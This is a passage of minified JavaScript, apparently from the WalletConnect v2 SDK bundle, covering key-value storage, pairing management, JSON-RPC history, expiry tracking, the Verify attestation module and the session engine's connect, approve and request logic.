this.update(e,t):(this.logger.debug("Setting value"),this.logger.trace({type:"method",method:"set",key:e,value:t}),this.map.set(e,t),await this.persist())},this.get=e=>(this.isInitialized(),this.logger.debug("Getting value"),this.logger.trace({type:"method",method:"get",key:e}),this.getData(e)),this.getAll=e=>(this.isInitialized(),e?this.values.filter((t=>Object.keys(e).every((n=>df(t[n],e[n]))))):this.values),this.update=async(e,t)=>{this.isInitialized(),this.logger.debug("Updating value"),this.logger.trace({type:"method",method:"update",key:e,update:t});const n=Sp(Sp({},this.getData(e)),t);this.map.set(e,n),await this.persist()},this.delete=async(e,t)=>{this.isInitialized(),this.map.has(e)&&(this.logger.debug("Deleting value"),this.logger.trace({type:"method",method:"delete",key:e,reason:t}),this.map.delete(e),await this.persist())},this.logger=un.generateChildLogger(t,this.name),this.storagePrefix=r,this.getKey=i}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}get length(){return this.map.size}get keys(){return Array.from(this.map.keys())}get values(){return Array.from(this.map.values())}async setDataStore(e){await this.core.storage.setItem(this.storageKey,e)}async getDataStore(){return await this.core.storage.getItem(this.storageKey)}getData(e){const t=this.map.get(e);if(!t){const{message:t}=lc("NO_MATCHING_KEY",`${this.name}: ${e}`);throw this.logger.error(t),new Error(t)}return t}async persist(){await this.setDataStore(this.values)}async restore(){try{const e=await this.getDataStore();if(typeof e>"u"||!e.length)return;if(this.map.size){const{message:e}=lc("RESTORE_WILL_OVERRIDE",this.name);throw this.logger.error(e),new Error(e)}this.cached=e,this.logger.debug(`Successfully Restored value for ${this.name}`),this.logger.trace({type:"method",method:"restore",value:this.values})}catch(e){this.logger.debug(`Failed to Restore value for ${this.name}`),this.logger.error(e)}}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class xp{constructor(e,t){this.core=e,this.logger=t,this.name=zd,this.version=Fd,this.events=new o.exports,this.initialized=!1,this.storagePrefix=ld,this.ignoredPayloadTypes=[qa],this.registeredMethods=[],this.init=async()=>{this.initialized||(await this.pairings.init(),await this.cleanup(),this.registerRelayerEvents(),this.registerExpirerEvents(),this.initialized=!0,this.logger.trace("Initialized"))},this.register=({methods:e})=>{this.isInitialized(),this.registeredMethods=[...new Set([...this.registeredMethods,...e])]},this.create=async()=>{this.isInitialized();const e=Ya(),t=await this.core.crypto.setSymKey(e),n=ju(We.FIVE_MINUTES),r={protocol:Ed},i={topic:t,expiry:n,relay:r,active:!1},o=ec({protocol:this.core.protocol,version:this.core.version,topic:t,symKey:e,relay:r});return await this.pairings.set(t,i),await this.core.relayer.subscribe(t),this.core.expirer.set(t,n),{topic:t,uri:o}},this.pair=async e=>{this.isInitialized(),this.isValidPair(e);const{topic:t,symKey:n,relay:r}=Ju(e.uri);if(this.pairings.keys.includes(t))throw new Error(`Pairing already exists: ${t}`);if(this.core.crypto.hasKeys(t))throw new Error(`Keychain already exists: ${t}`);const i=ju(We.FIVE_MINUTES),o={topic:t,relay:r,expiry:i,active:!1};return await this.pairings.set(t,o),await this.core.crypto.setSymKey(n,t),await this.core.relayer.subscribe(t,{relay:r}),this.core.expirer.set(t,i),e.activatePairing&&await this.activate({topic:t}),o},this.activate=async({topic:e})=>{this.isInitialized();const t=ju(We.THIRTY_DAYS);await this.pairings.update(e,{active:!0,expiry:t}),this.core.expirer.set(e,t)},this.ping=async e=>{this.isInitialized(),await this.isValidPing(e);const{topic:t}=e;if(this.pairings.keys.includes(t)){const e=await this.sendRequest(t,"wc_pairingPing",{}),{done:n,resolve:r,reject:i}=Pu();this.events.once(Du("pairing_ping",e),(({error:e})=>{e?i(e):r()})),await n()}},this.updateExpiry=async({topic:e,expiry:t})=>{this.isInitialized(),await this.pairings.update(e,{expiry:t})},this.updateMetadata=async({topic:e,metadata:t})=>{this.isInitialized(),await this.pairings.update(e,{peerMetadata:t})},this.getPairings=()=>(this.isInitialized(),this.pairings.values),this.disconnect=async e=>{this.isInitialized(),await this.isValidDisconnect(e);const{topic:t}=e;this.pairings.keys.includes(t)&&(await this.sendRequest(t,"wc_pairingDelete",fc("USER_DISCONNECTED")),await this.deletePairing(t))},this.sendRequest=async(e,t,n)=>{const r=Fl(t,n),i=await this.core.crypto.encode(e,r),o=Bd[t].req;return this.core.history.set(e,r),this.core.relayer.publish(e,i,o),r.id},this.sendResult=async(e,t,n)=>{const r=Bl(e,n),i=await this.core.crypto.encode(t,r),o=await this.core.history.get(t,e),s=Bd[o.request.method].res;await this.core.relayer.publish(t,i,s),await this.core.history.resolve(r)},this.sendError=async(e,t,n)=>{const r=Hl(e,n),i=await this.core.crypto.encode(t,r),o=await this.core.history.get(t,e),s=Bd[o.request.method]?Bd[o.request.method].res:Bd.unregistered_method.res;await this.core.relayer.publish(t,i,s),await this.core.history.resolve(r)},this.deletePairing=async(e,t)=>{await this.core.relayer.unsubscribe(e),await Promise.all([this.pairings.delete(e,fc("USER_DISCONNECTED")),this.core.crypto.deleteSymKey(e),t?Promise.resolve():this.core.expirer.del(e)])},this.cleanup=async()=>{const e=this.pairings.getAll().filter((e=>Uu(e.expiry)));await Promise.all(e.map((e=>this.deletePairing(e.topic))))},this.onRelayEventRequest=e=>{const{topic:t,payload:n}=e;switch(n.method){case"wc_pairingPing":return this.onPairingPingRequest(t,n);case"wc_pairingDelete":return this.onPairingDeleteRequest(t,n);default:return this.onUnknownRpcMethodRequest(t,n)}},this.onRelayEventResponse=async e=>{const{topic:t,payload:n}=e,r=(await this.core.history.get(t,n.id)).request.method;return"wc_pairingPing"===r?this.onPairingPingResponse(t,n):this.onUnknownRpcMethodResponse(r)},this.onPairingPingRequest=async(e,t)=>{const{id:n}=t;try{this.isValidPing({topic:e}),await this.sendResult(n,e,!0),this.events.emit("pairing_ping",{id:n,topic:e})}catch(t){await this.sendError(n,e,t),this.logger.error(t)}},this.onPairingPingResponse=(e,t)=>{const{id:n}=t;setTimeout((()=>{rf(t)?this.events.emit(Du("pairing_ping",n),{}):of(t)&&this.events.emit(Du("pairing_ping",n),{error:t.error})}),500)},this.onPairingDeleteRequest=async(e,t)=>{const{id:n}=t;try{this.isValidDisconnect({topic:e}),await this.deletePairing(e),this.events.emit("pairing_delete",{id:n,topic:e})}catch(t){await this.sendError(n,e,t),this.logger.error(t)}},this.onUnknownRpcMethodRequest=async(e,t)=>{const{id:n,method:r}=t;try{if(this.registeredMethods.includes(r))return;const t=fc("WC_METHOD_UNSUPPORTED",r);await this.sendError(n,e,t),this.logger.error(t)}catch(t){await this.sendError(n,e,t),this.logger.error(t)}},this.onUnknownRpcMethodResponse=e=>{this.registeredMethods.includes(e)||this.logger.error(fc("WC_METHOD_UNSUPPORTED",e))},this.isValidPair=e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`pair() params: ${e}`);throw new Error(t)}if(!bc(e.uri)){const{message:t}=lc("MISSING_OR_INVALID",`pair() uri: ${e.uri}`);throw new Error(t)}},this.isValidPing=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`ping() params: ${e}`);throw new Error(t)}const{topic:t}=e;await this.isValidPairingTopic(t)},this.isValidDisconnect=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`disconnect() params: ${e}`);throw new Error(t)}const{topic:t}=e;await this.isValidPairingTopic(t)},this.isValidPairingTopic=async e=>{if(!gc(e,!1)){const{message:t}=lc("MISSING_OR_INVALID",`pairing topic should be a string: ${e}`);throw new Error(t)}if(!this.pairings.keys.includes(e)){const{message:t}=lc("NO_MATCHING_KEY",`pairing topic doesn't exist: ${e}`);throw new Error(t)}if(Uu(this.pairings.get(e).expiry)){await this.deletePairing(e);const{message:t}=lc("EXPIRED",`pairing topic: ${e}`);throw new Error(t)}},this.core=e,this.logger=un.generateChildLogger(t,this.name),this.pairings=new Op(this.core,this.logger,this.name,this.storagePrefix)}get context(){return un.getLoggerContext(this.logger)}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}registerRelayerEvents(){this.core.relayer.on(Rd.message,(async e=>{const{topic:t,message:n}=e;if(!this.pairings.keys.includes(t)||this.ignoredPayloadTypes.includes(this.core.crypto.getPayloadType(n)))return;const r=await this.core.crypto.decode(t,n);try{tf(r)?(this.core.history.set(t,r),this.onRelayEventRequest({topic:t,payload:r})):nf(r)&&(await this.core.history.resolve(r),await this.onRelayEventResponse({topic:t,payload:r}),this.core.history.delete(t,r.id))}catch(e){this.logger.error(e)}}))}registerExpirerEvents(){this.core.expirer.on(Wd.expired,(async e=>{const{topic:t}=Lu(e.target);t&&this.pairings.keys.includes(t)&&(await this.deletePairing(t,!0),this.events.emit("pairing_expire",{topic:t}))}))}}class Ip extends Kn{constructor(e,t){super(e,t),this.core=e,this.logger=t,this.records=new Map,this.events=new o.exports.EventEmitter,this.name=qd,this.version=Vd,this.cached=[],this.initialized=!1,this.storagePrefix=ld,this.init=async()=>{this.initialized||(this.logger.trace("Initialized"),await this.restore(),this.cached.forEach((e=>this.records.set(e.id,e))),this.cached=[],this.registerEventListeners(),this.initialized=!0)},this.set=(e,t,n)=>{if(this.isInitialized(),this.logger.debug("Setting JSON-RPC request history record"),this.logger.trace({type:"method",method:"set",topic:e,request:t,chainId:n}),this.records.has(t.id))return;const r={id:t.id,topic:e,request:{method:t.method,params:t.params||null},chainId:n,expiry:ju(We.THIRTY_DAYS)};this.records.set(r.id,r),this.events.emit(Hd.created,r)},this.resolve=async e=>{if(this.isInitialized(),this.logger.debug("Updating JSON-RPC response history record"),this.logger.trace({type:"method",method:"update",response:e}),!this.records.has(e.id))return;const t=await this.getRecord(e.id);typeof t.response>"u"&&(t.response=of(e)?{error:e.error}:{result:e.result},this.records.set(t.id,t),this.events.emit(Hd.updated,t))},this.get=async(e,t)=>(this.isInitialized(),this.logger.debug("Getting record"),this.logger.trace({type:"method",method:"get",topic:e,id:t}),await this.getRecord(t)),this.delete=(e,t)=>{this.isInitialized(),this.logger.debug("Deleting record"),this.logger.trace({type:"method",method:"delete",id:t}),this.values.forEach((n=>{if(n.topic===e){if(typeof t<"u"&&n.id!==t)return;this.records.delete(n.id),this.events.emit(Hd.deleted,n)}}))},this.exists=async(e,t)=>(this.isInitialized(),!!this.records.has(t)&&(await this.getRecord(t)).topic===e),this.on=(e,t)=>{this.events.on(e,t)},this.once=(e,t)=>{this.events.once(e,t)},this.off=(e,t)=>{this.events.off(e,t)},this.removeListener=(e,t)=>{this.events.removeListener(e,t)},this.logger=un.generateChildLogger(t,this.name)}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}get size(){return this.records.size}get keys(){return Array.from(this.records.keys())}get values(){return Array.from(this.records.values())}get pending(){const e=[];return this.values.forEach((t=>{if(typeof t.response<"u")return;const n={topic:t.topic,request:Fl(t.request.method,t.request.params,t.id),chainId:t.chainId};return e.push(n)})),e}async setJsonRpcRecords(e){await this.core.storage.setItem(this.storageKey,e)}async getJsonRpcRecords(){return await this.core.storage.getItem(this.storageKey)}getRecord(e){this.isInitialized();const t=this.records.get(e);if(!t){const{message:t}=lc("NO_MATCHING_KEY",`${this.name}: ${e}`);throw new Error(t)}return t}async persist(){await this.setJsonRpcRecords(this.values),this.events.emit(Hd.sync)}async restore(){try{const e=await this.getJsonRpcRecords();if(typeof e>"u"||!e.length)return;if(this.records.size){const{message:e}=lc("RESTORE_WILL_OVERRIDE",this.name);throw this.logger.error(e),new Error(e)}this.cached=e,this.logger.debug(`Successfully Restored records for ${this.name}`),this.logger.trace({type:"method",method:"restore",records:this.values})}catch(e){this.logger.debug(`Failed to Restore records for ${this.name}`),this.logger.error(e)}}registerEventListeners(){this.events.on(Hd.created,(e=>{const t=Hd.created;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,record:e}),this.persist()})),this.events.on(Hd.updated,(e=>{const t=Hd.updated;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,record:e}),this.persist()})),this.events.on(Hd.deleted,(e=>{const t=Hd.deleted;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,record:e}),this.persist()})),this.core.heartbeat.on(_e.HEARTBEAT_EVENTS.pulse,(()=>{this.cleanup()}))}cleanup(){try{this.records.forEach((e=>{We.toMiliseconds(e.expiry||0)-Date.now()<=0&&(this.logger.info(`Deleting expired history log: ${e.id}`),this.delete(e.topic,e.id))}))}catch(e){this.logger.warn(e)}}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class Rp extends Zn{constructor(e,t){super(e,t),this.core=e,this.logger=t,this.expirations=new Map,this.events=new o.exports.EventEmitter,this.name=$d,this.version=Kd,this.cached=[],this.initialized=!1,this.storagePrefix=ld,this.init=async()=>{this.initialized||(this.logger.trace("Initialized"),await this.restore(),this.cached.forEach((e=>this.expirations.set(e.target,e))),this.cached=[],this.registerEventListeners(),this.initialized=!0)},this.has=e=>{try{const t=this.formatTarget(e);return typeof this.getExpiration(t)<"u"}catch{return!1}},this.set=(e,t)=>{this.isInitialized();const n=this.formatTarget(e),r={target:n,expiry:t};this.expirations.set(n,r),this.checkExpiry(n,r),this.events.emit(Wd.created,{target:n,expiration:r})},this.get=e=>{this.isInitialized();const t=this.formatTarget(e);return this.getExpiration(t)},this.del=e=>{if(this.isInitialized(),this.has(e)){const t=this.formatTarget(e),n=this.getExpiration(t);this.expirations.delete(t),this.events.emit(Wd.deleted,{target:t,expiration:n})}},this.on=(e,t)=>{this.events.on(e,t)},this.once=(e,t)=>{this.events.once(e,t)},this.off=(e,t)=>{this.events.off(e,t)},this.removeListener=(e,t)=>{this.events.removeListener(e,t)},this.logger=un.generateChildLogger(t,this.name)}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}get length(){return this.expirations.size}get keys(){return Array.from(this.expirations.keys())}get values(){return Array.from(this.expirations.values())}formatTarget(e){if("string"==typeof e)return Tu(e);if("number"==typeof e)return Mu(e);const{message:t}=lc("UNKNOWN_TYPE","Target type: "+typeof e);throw new Error(t)}async setExpirations(e){await this.core.storage.setItem(this.storageKey,e)}async getExpirations(){return await this.core.storage.getItem(this.storageKey)}async persist(){await this.setExpirations(this.values),this.events.emit(Wd.sync)}async restore(){try{const e=await this.getExpirations();if(typeof e>"u"||!e.length)return;if(this.expirations.size){const{message:e}=lc("RESTORE_WILL_OVERRIDE",this.name);throw this.logger.error(e),new Error(e)}this.cached=e,this.logger.debug(`Successfully Restored expirations for ${this.name}`),this.logger.trace({type:"method",method:"restore",expirations:this.values})}catch(e){this.logger.debug(`Failed to Restore expirations for ${this.name}`),this.logger.error(e)}}getExpiration(e){const t=this.expirations.get(e);if(!t){const{message:t}=lc("NO_MATCHING_KEY",`${this.name}: ${e}`);throw this.logger.error(t),new Error(t)}return t}checkExpiry(e,t){const{expiry:n}=t;We.toMiliseconds(n)-Date.now()<=0&&this.expire(e,t)}expire(e,t){this.expirations.delete(e),this.events.emit(Wd.expired,{target:e,expiration:t})}checkExpirations(){this.core.relayer.connected&&this.expirations.forEach(((e,t)=>this.checkExpiry(t,e)))}registerEventListeners(){this.core.heartbeat.on(_e.HEARTBEAT_EVENTS.pulse,(()=>this.checkExpirations())),this.events.on(Wd.created,(e=>{const t=Wd.created;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,data:e}),this.persist()})),this.events.on(Wd.expired,(e=>{const t=Wd.expired;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,data:e}),this.persist()})),this.events.on(Wd.deleted,(e=>{const t=Wd.deleted;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,data:e}),this.persist()}))}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class kp extends er{constructor(e,t){super(e,t),this.projectId=e,this.logger=t,this.name=Gd,this.initialized=!1,this.init=async e=>{mu()||!_u()||(this.verifyUrl=e?.verifyUrl||Yd,await this.createIframe())},this.register=async e=>{var t;if(this.initialized||await this.init(),this.iframe)try{null==(t=this.iframe.contentWindow)||t.postMessage(e.attestationId,this.verifyUrl),this.logger.info(`postMessage sent: ${e.attestationId} ${this.verifyUrl}`)}catch{}},this.resolve=async e=>{var t;if(this.isDevEnv)return"";this.logger.info(`resolving attestation: ${e.attestationId}`);const n=this.startAbortTimer(We.FIVE_SECONDS),r=await fetch(`${this.verifyUrl}/attestation/${e.attestationId}`,{signal:this.abortController.signal});return clearTimeout(n),200===r.status?null==(t=await r.json())?void 0:t.origin:""},this.createIframe=async()=>{try{await Promise.race([new Promise(((e,t)=>{if(document.getElementById(Gd))return e();const n=document.createElement("iframe");n.setAttribute("id",Gd),n.setAttribute("src",`${this.verifyUrl}/${this.projectId}`),n.style.display="none",n.addEventListener("load",(()=>{this.initialized=!0,e()})),n.addEventListener("error",(e=>{t(e)})),document.body.append(n),this.iframe=n})),new Promise((e=>{setTimeout((()=>e("iframe load timeout")),We.toMiliseconds(We.ONE_SECOND/2))}))])}catch(e){this.logger.error(`Verify iframe failed to load: ${this.verifyUrl}`),this.logger.error(e)}},this.logger=un.generateChildLogger(t,this.name),this.verifyUrl=Yd,this.abortController=new AbortController,this.isDevEnv=vu()&&process.env.IS_VITEST}get context(){return un.getLoggerContext(this.logger)}startAbortTimer(e){return setTimeout((()=>this.abortController.abort()),We.toMiliseconds(e))}}var Cp=Object.defineProperty,Pp=Object.getOwnPropertySymbols,Ap=Object.prototype.hasOwnProperty,Np=Object.prototype.propertyIsEnumerable,Tp=(e,t,n)=>t in e?Cp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Mp=(e,t)=>{for(var n in t||(t={}))Ap.call(t,n)&&Tp(e,n,t[n]);if(Pp)for(var n of Pp(t))Np.call(t,n)&&Tp(e,n,t[n]);return e};class Lp extends Wn{constructor(e){super(e),this.protocol=ad,this.version=ud,this.name=cd,this.events=new o.exports.EventEmitter,this.initialized=!1,this.on=(e,t)=>this.events.on(e,t),this.once=(e,t)=>this.events.once(e,t),this.off=(e,t)=>this.events.off(e,t),this.removeListener=(e,t)=>this.events.removeListener(e,t),this.projectId=e?.projectId,this.relayUrl=e?.relayUrl||Od;const t=typeof e?.logger<"u"&&"string"!=typeof e?.logger?e.logger:un.pino(un.getDefaultLoggerOptions({level:e?.logger||fd.logger}));this.logger=un.generateChildLogger(t,this.name),this.heartbeat=new _e.HeartBeat,this.crypto=new Jd(this,this.logger,e?.keychain),this.history=new Ip(this,this.logger),this.expirer=new Rp(this,this.logger),this.storage=null!=e&&e.storage?e.storage:new me(Mp(Mp({},hd),e?.storageOptions)),this.relayer=new vp({core:this,logger:this.logger,relayUrl:this.relayUrl,projectId:this.projectId}),this.pairing=new xp(this,this.logger),this.verify=new kp(this.projectId||"",this.logger)}static async init(e){const t=new Lp(e);await t.initialize();const n=await t.crypto.getClientId();return await t.storage.setItem(Md,n),t}get context(){return un.getLoggerContext(this.logger)}async start(){this.initialized||await this.initialize()}async initialize(){this.logger.trace("Initialized");try{await this.crypto.init(),await this.history.init(),await this.expirer.init(),await this.relayer.init(),await this.heartbeat.init(),await this.pairing.init(),this.initialized=!0,this.logger.info("Core Initialization Success")}catch(e){throw this.logger.warn(`Core Initialization Failure at epoch ${Date.now()}`,e),this.logger.error(e.message),e}}}const jp=Lp,Up="wc",Dp=2,zp="client",Fp=`${Up}@${Dp}:${zp}:`,Bp={name:zp,logger:"error",controller:!1,relayUrl:"wss://relay.walletconnect.com"},Hp="WALLETCONNECT_DEEPLINK_CHOICE",qp="proposal",Vp="Proposal expired",$p="session",Wp=We.SEVEN_DAYS,Kp="engine",Gp={wc_sessionPropose:{req:{ttl:We.FIVE_MINUTES,prompt:!0,tag:1100},res:{ttl:We.FIVE_MINUTES,prompt:!1,tag:1101}},wc_sessionSettle:{req:{ttl:We.FIVE_MINUTES,prompt:!1,tag:1102},res:{ttl:We.FIVE_MINUTES,prompt:!1,tag:1103}},wc_sessionUpdate:{req:{ttl:We.ONE_DAY,prompt:!1,tag:1104},res:{ttl:We.ONE_DAY,prompt:!1,tag:1105}},wc_sessionExtend:{req:{ttl:We.ONE_DAY,prompt:!1,tag:1106},res:{ttl:We.ONE_DAY,prompt:!1,tag:1107}},wc_sessionRequest:{req:{ttl:We.FIVE_MINUTES,prompt:!0,tag:1108},res:{ttl:We.FIVE_MINUTES,prompt:!1,tag:1109}},wc_sessionEvent:{req:{ttl:We.FIVE_MINUTES,prompt:!0,tag:1110},res:{ttl:We.FIVE_MINUTES,prompt:!1,tag:1111}},wc_sessionDelete:{req:{ttl:We.ONE_DAY,prompt:!1,tag:1112},res:{ttl:We.ONE_DAY,prompt:!1,tag:1113}},wc_sessionPing:{req:{ttl:We.THIRTY_SECONDS,prompt:!1,tag:1114},res:{ttl:We.THIRTY_SECONDS,prompt:!1,tag:1115}}},Yp={min:We.FIVE_MINUTES,max:We.SEVEN_DAYS},Qp={idle:"idle",active:"active"},Jp="request",Xp=["wc_sessionPropose","wc_sessionRequest","wc_authRequest"];var Zp=Object.defineProperty,eg=Object.defineProperties,tg=Object.getOwnPropertyDescriptors,ng=Object.getOwnPropertySymbols,rg=Object.prototype.hasOwnProperty,ig=Object.prototype.propertyIsEnumerable,og=(e,t,n)=>t in e?Zp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,sg=(e,t)=>{for(var n in t||(t={}))rg.call(t,n)&&og(e,n,t[n]);if(ng)for(var n of ng(t))ig.call(t,n)&&og(e,n,t[n]);return e},ag=(e,t)=>eg(e,tg(t));class ug extends nr{constructor(e){super(e),this.name=Kp,this.events=new o.exports,this.initialized=!1,this.ignoredPayloadTypes=[qa],this.requestQueue={state:Qp.idle,requests:[]},this.requestQueueDelay=We.ONE_SECOND,this.init=async()=>{this.initialized||(await this.cleanup(),this.registerRelayerEvents(),this.registerExpirerEvents(),this.client.core.pairing.register({methods:Object.keys(Gp)}),this.initialized=!0,setTimeout((()=>{this.requestQueue.requests=this.getPendingSessionRequests(),this.processRequestQueue()}),We.toMiliseconds(this.requestQueueDelay)))},this.connect=async e=>{this.isInitialized();const t=ag(sg({},e),{requiredNamespaces:e.requiredNamespaces||{},optionalNamespaces:e.optionalNamespaces||{}});await this.isValidConnect(t);const{pairingTopic:n,requiredNamespaces:r,optionalNamespaces:i,sessionProperties:o,relays:s}=t;let a,u=n,c=!1;if(u&&(c=this.client.core.pairing.pairings.get(u).active),!u||!c){const{topic:e,uri:t}=await this.client.core.pairing.create();u=e,a=t}const l=await this.client.core.crypto.generateKeyPair(),f=sg({requiredNamespaces:r,optionalNamespaces:i,relays:s??[{protocol:Ed}],proposer:{publicKey:l,metadata:this.client.metadata}},o&&{sessionProperties:o}),{reject:h,resolve:d,done:p}=Pu(We.FIVE_MINUTES,Vp);if(this.events.once(Du("session_connect"),(async({error:e,session:t})=>{if(e)h(e);else if(t){t.self.publicKey=l;const e=ag(sg({},t),{requiredNamespaces:t.requiredNamespaces,optionalNamespaces:t.optionalNamespaces});await this.client.session.set(t.topic,e),await this.setExpiry(t.topic,t.expiry),u&&await this.client.core.pairing.updateMetadata({topic:u,metadata:t.peer.metadata}),d(e)}})),!u){const{message:e}=lc("NO_MATCHING_KEY",`connect() pairing topic: ${u}`);throw new Error(e)}const g=await this.sendRequest(u,"wc_sessionPropose",f),y=ju(We.FIVE_MINUTES);return await this.setProposal(g,sg({id:g,expiry:y},f)),{uri:a,approval:p}},this.pair=async e=>(this.isInitialized(),await this.client.core.pairing.pair(e)),this.approve=async e=>{this.isInitialized(),await this.isValidApprove(e);const{id:t,relayProtocol:n,namespaces:r,sessionProperties:i}=e,o=this.client.proposal.get(t);let{pairingTopic:s,proposer:a,requiredNamespaces:u,optionalNamespaces:c}=o;s=s||"",dc(u)||(u=oc(r,"approve()"));const l=await this.client.core.crypto.generateKeyPair(),f=a.publicKey,h=await this.client.core.crypto.generateSharedKey(l,f);s&&t&&(await this.client.core.pairing.updateMetadata({topic:s,metadata:a.metadata}),await this.sendResult(t,s,{relay:{protocol:n??"irn"},responderPublicKey:l}),await this.client.proposal.delete(t,fc("USER_DISCONNECTED")),await this.client.core.pairing.activate({topic:s}));const d=sg({relay:{protocol:n??"irn"},namespaces:r,requiredNamespaces:u,optionalNamespaces:c,pairingTopic:s,controller:{publicKey:l,metadata:this.client.metadata},expiry:ju(Wp)},i&&{sessionProperties:i});await this.client.core.relayer.subscribe(h),await this.sendRequest(h,"wc_sessionSettle",d);const p=ag(sg({},d),{topic:h,pairingTopic:s,acknowledged:!1,self:d.controller,peer:{publicKey:a.publicKey,metadata:a.metadata},controller:l});return await this.client.session.set(h,p),await this.setExpiry(h,ju(Wp)),{topic:h,acknowledged:()=>new Promise((e=>setTimeout((()=>e(this.client.session.get(h))),500)))}},this.reject=async e=>{this.isInitialized(),await this.isValidReject(e);const{id:t,reason:n}=e,{pairingTopic:r}=this.client.proposal.get(t);r&&(await this.sendError(t,r,n),await this.client.proposal.delete(t,fc("USER_DISCONNECTED")))},this.update=async e=>{this.isInitialized(),await this.isValidUpdate(e);const{topic:t,namespaces:n}=e,r=await this.sendRequest(t,"wc_sessionUpdate",{namespaces:n}),{done:i,resolve:o,reject:s}=Pu();return this.events.once(Du("session_update",r),(({error:e})=>{e?s(e):o()})),await this.client.session.update(t,{namespaces:n}),{acknowledged:i}},this.extend=async e=>{this.isInitialized(),await this.isValidExtend(e);const{topic:t}=e,n=await this.sendRequest(t,"wc_sessionExtend",{}),{done:r,resolve:i,reject:o}=Pu();return this.events.once(Du("session_extend",n),(({error:e})=>{e?o(e):i()})),await this.setExpiry(t,ju(Wp)),{acknowledged:r}},this.request=async e=>{this.isInitialized(),await this.isValidRequest(e);const{chainId:t,request:n,topic:r,expiry:i}=e,o=await this.sendRequest(r,"wc_sessionRequest",{request:n,chainId:t},i),{done:s,resolve:a,reject:u}=Pu(i);return this.events.once(Du("session_request",o),(({error:e,result:t})=>{e?u(e):a(t)})),this.client.events.emit("session_request_sent",{topic:r,request:n,chainId:t,id:o}),Fu({id:o,topic:r,wcDeepLink:await this.client.core.storage.getItem(Hp)}),await s()},this.respond=async e=>{this.isInitialized(),await this.isValidRespond(e);const{topic:t,response:n}=e,{id:r}=n;rf(n)?await this.sendResult(r,t,n.result):of(n)&&await this.sendError(r,t,n.error),this.cleanupAfterResponse(e)},this.ping=async e=>{this.isInitialized(),await this.isValidPing(e);const{topic:t}=e;if(this.client.session.keys.includes(t)){const e=await this.sendRequest(t,"wc_sessionPing",{}),{done:n,resolve:r,reject:i}=Pu();this.events.once(Du("session_ping",e),(({error:e})=>{e?i(e):r()})),await n()}else this.client.core.pairing.pairings.keys.includes(t)&&await this.client.core.pairing.ping({topic:t})},this.emit=async e=>{this.isInitialized(),await this.isValidEmit(e);const{topic:t,event:n,chainId:r}=e;await this.sendRequest(t,"wc_sessionEvent",{event:n,chainId:r})},this.disconnect=async e=>{this.isInitialized(),await this.isValidDisconnect(e);const{topic:t}=e;if(this.client.session.keys.includes(t)){const e=zl().toString();let n;const r=t=>{t?.id.toString()===e&&(this.client.core.relayer.events.removeListener(Rd.message_ack,r),n())};await Promise.all([new Promise((e=>{n=e,this.client.core.relayer.on(Rd.message_ack,r)})),this.sendRequest(t,"wc_sessionDelete",fc("USER_DISCONNECTED"),void 0,e)]),await this.deleteSession(t)}else await this.client.core.pairing.disconnect({topic:t})},this.find=e=>(this.isInitialized(),this.client.session.getAll().filter((t=>vc(t,e)))),this.getPendingSessionRequests=()=>(this.isInitialized(),this.client.pendingRequest.getAll()),this.cleanupDuplicatePairings=async e=>{if(e.pairingTopic)try{const t=this.client.core.pairing.pairings.get(e.pairingTopic),n=this.client.core.pairing.pairings.getAll().filter((n=>{var r,i;return(null==(r=n.peerMetadata)?void 0:r.url)&&(null==(i=n.peerMetadata)?void 0:i.url)===e.peer.metadata.url&&n.topic&&n.topic!==t.topic}));if(0===n.length)return;this.client.logger.info(`Cleaning up ${n.length} duplicate pairing(s)`),await Promise.all(n.map((e=>this.client.core.pairing.disconnect({topic:e.topic})))),this.client.logger.info("Duplicate pairings clean up finished")}catch(e){this.client.logger.error(e)}},this.deleteSession=async(e,t)=>{const{self:n}=this.client.session.get(e);await this.client.core.relayer.unsubscribe(e),this.client.session.delete(e,fc("USER_DISCONNECTED")),this.client.core.crypto.keychain.has(n.publicKey)&&await this.client.core.crypto.deleteKeyPair(n.publicKey),this.client.core.crypto.keychain.has(e)&&await this.client.core.crypto.deleteSymKey(e),t||this.client.core.expirer.del(e),this.client.core.storage.removeItem(Hp).catch((e=>this.client.logger.warn(e)))},this.deleteProposal=async(e,t)=>{await Promise.all([this.client.proposal.delete(e,fc("USER_DISCONNECTED")),t?Promise.resolve():this.client.core.expirer.del(e)])},this.deletePendingSessionRequest=async(e,t,n=!1)=>{await Promise.all([this.client.pendingRequest.delete(e,t),n?Promise.resolve():this.client.core.expirer.del(e)]),this.requestQueue.requests=this.requestQueue.requests.filter((t=>t.id!==e)),n&&(this.requestQueue.state=Qp.idle)},this.setExpiry=async(e,t)=>{this.client.session.keys.includes(e)&&await this.client.session.update(e,{expiry:t}),this.client.core.expirer.set(e,t)},this.setProposal=async(e,t)=>{await this.client.proposal.set(e,t),this.client.core.expirer.set(e,t.expiry)},this.setPendingSessionRequest=async e=>{const t=Gp.wc_sessionRequest.req.ttl,{id:n,topic:r,params:i}=e;await this.client.pendingRequest.set(n,{id:n,topic:r,params:i}),t&&this.client.core.expirer.set(n,ju(t))},this.sendRequest=async(e,t,n,r,i)=>{const o=Fl(t,n);if(_u()&&Xp.includes(t)){const e=Xa(JSON.stringify(o));await 